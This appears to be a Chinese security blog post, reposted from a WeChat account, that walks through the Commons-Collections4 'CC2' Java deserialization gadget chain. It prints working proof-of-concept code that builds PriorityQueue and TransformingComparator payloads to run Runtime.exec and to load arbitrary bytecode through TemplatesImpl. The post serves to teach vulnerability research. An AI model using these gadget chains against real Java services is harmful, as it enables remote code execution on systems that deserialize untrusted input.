通过yso的代码可以看出,cc2利用链用的是commons-collections4版本,而我们之前用的是3.1版本。所以首先要下载一下依赖,pom文件加入:
<dependency> <groupId>org.apache.commons</groupId> <artifactId>commons-collections4</artifactId> <version>4.0</version></dependency>
调用方式1:
然后就是他前半部分的调用链变了先来看一下poc
Transformer[] transformer = new Transformer[]{new ConstantTransformer(Runtime.class),newInvokerTransformer("getMethod",newClass[]{String.class,Class[].class},newObject[]{"getRuntime",new Class[0]}),new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},newObject[]{null,new Object[0]}),new InvokerTransformer("exec",new Class[]{String.class},newString[]{"calc"}), }; Transformer chaintransformer = new ChainedTransformer(transformer); TransformingComparator comparator = new TransformingComparator(chaintransformer); PriorityQueue queue = new PriorityQueue(1);//创建实例。注意下面的顺序改变了。 queue.add(1); queue.add(2);//传入两个参数 Field field = Class.forName("java.util.PriorityQueue").getDeclaredField("comparator");//反射获取成员变量的field field.setAccessible(true);//获取访问权限 field.set(queue,comparator);//设置参数
通过poc我们发现后半部分也是用的也是invokertransformer进行触发的,这里主要看前半部分怎么调用的
还是通过跟是谁transform方法我们找到了TransformingComparator这个类中的compare方法调用了transform方法
所以我们只需将trangsformer变成invokertransformer对象就可以rce了
再来看看其构造方法
可以看到transformer是可控的所以我们现在需要找到能够触发compare的方法
我们找到了PriorityQueue类中的siftDownUsingComparator方法调用了compare方法,这里看下构造方法发现comparator也是可控的
所以现在需要找到可以触发siftDownUsingComparator的方法我们发现在本类的siftDown方法调用了该方法
并且在本类的readObject中发现heapify调用了siftDown方法
并且该size需要大于等于2才可以进入for循环所以可以构造poc了
Transformer[] transformer = new Transformer[]{new ConstantTransformer(Runtime.class),newInvokerTransformer("getMethod",newClass[]{String.class,Class[].class},newObject[]{"getRuntime",new Class[0]}),new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},newObject[]{null,new Object[0]}),new InvokerTransformer("exec",new Class[]{String.class},newString[]{"calc"}), }; Transformer chaintransformer = new ChainedTransformer(transformer); TransformingComparator comparator = new TransformingComparator(chaintransformer); PriorityQueue queue = new PriorityQueue(comparator);//创建实例。注意下面的顺序改变了。 queue.add(1); queue.add(2);//传入两个参数
运行发现在序列化之前就触发了原因在于add方法
调用了offer方法
该方法又调用了siftUp方法
发现在该方法中也调用了siftDownUsingComparator方法所以我们需要在add的时候将comparartor让其值为空,在add之后在反射将其值该为TransformingComparator对象就行poc如开头所示
cc2 调用链
调用方式2
第二种调用方法就是结合CC3中所介绍到的动态加载字节码的形式进行触发rce,因为通过上文分析的我们知道cc2会在TransformingComparator这个类中的compare方法中调用transform方法,所以这里我们想到利用Invokertransform这个类中的transform方法来调用任意类的方法,也就是通过在这里注入invokertransform对象调用transform方法在调用TemplateImpl中的newTransformer方法来进而触发动态类加载实现rce。
这里给出poc
byte[] shellcode = Files.readAllBytes(Paths.get("D:\javaserilization\cclian\target\classes\org\example\test.class")); TemplatesImpl templates = new TemplatesImpl();// 获取 class 对象 Class clazz = templates.getClass();// 下面是需要修改的一些变量 Field nameField = clazz.getDeclaredField("_name"); nameField.setAccessible(true); nameField.set(templates, "_name"); Field classField = clazz.getDeclaredField("_tfactory"); classField.setAccessible(true); classField.set(templates, new TransformerFactoryImpl()); Field bytecodesField = clazz.getDeclaredField("_bytecodes"); bytecodesField.setAccessible(true); bytecodesField.set(templates, newbyte[][]{shellcode}); InvokerTransformer invokertransformer = new InvokerTransformer("newTransformer", new Class[]{}, new String[]{}); TransformingComparator comparator = new TransformingComparator(new ConstantTransformer(1)); PriorityQueue queue = new PriorityQueue(comparator);//创建实例。注意下面的顺序改变了。 queue.add(templates); queue.add(2);//传入两个参数 Field field = Class.forName("org.apache.commons.collections4.comparators.TransformingComparator").getDeclaredField("transformer");//反射获取成员变量的field field.setAccessible(true);//获取访问权限 field.set(comparator,invokertransformer);//设置参数//serialize(queue); unserialize("ser.bin");
其实通过poc我们能够发现就是将最后改成动态调用newTransformer方法。
问题1:
这里其实我们很容易想明白就是利用invokertransform的transform方法去动态调用newTransformer方法但是你执行会发现报错找不到这个方法,是因为我们并没有将该方法的类对象传递进去这里如何不利用ChainedTransformer进行传递呢
通过调试我们可以通过add方法进行添加
他会传入到offer里面,offer会继续调用 siftUp方法
继续将我们传入的参数放进去
可以看到已经是被传递进来了。
问题2:
然后我们发现我们的poc在一开始的时候并没有将一个真的invokertransformer放进去
而是在add之后通过反射修改了其值,这里上文也说了是为了防止在add时触发rce。
问题3:
就是我们在add的时候需要传入两个templates对象吗,这里经过实验只需要对第一个传入即可,并且第一个必须传入。我们来调试看看为什么我们以只传入第一个templates对象为例进行反序列化调试
在反序列化的时候可以看到它获取的是第一个传递的参数的值
继续跟进发现确实取出来的是第一个参数的值
这里调用的也确实是x的值,结合前面两个方法分析说明第一个参数必须传入templates对象。
cc2 TemplatesImpl调用链
原文始发于微信公众号(土拨鼠的安全屋):Java安全小记-Commons-Collections2反序列化
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论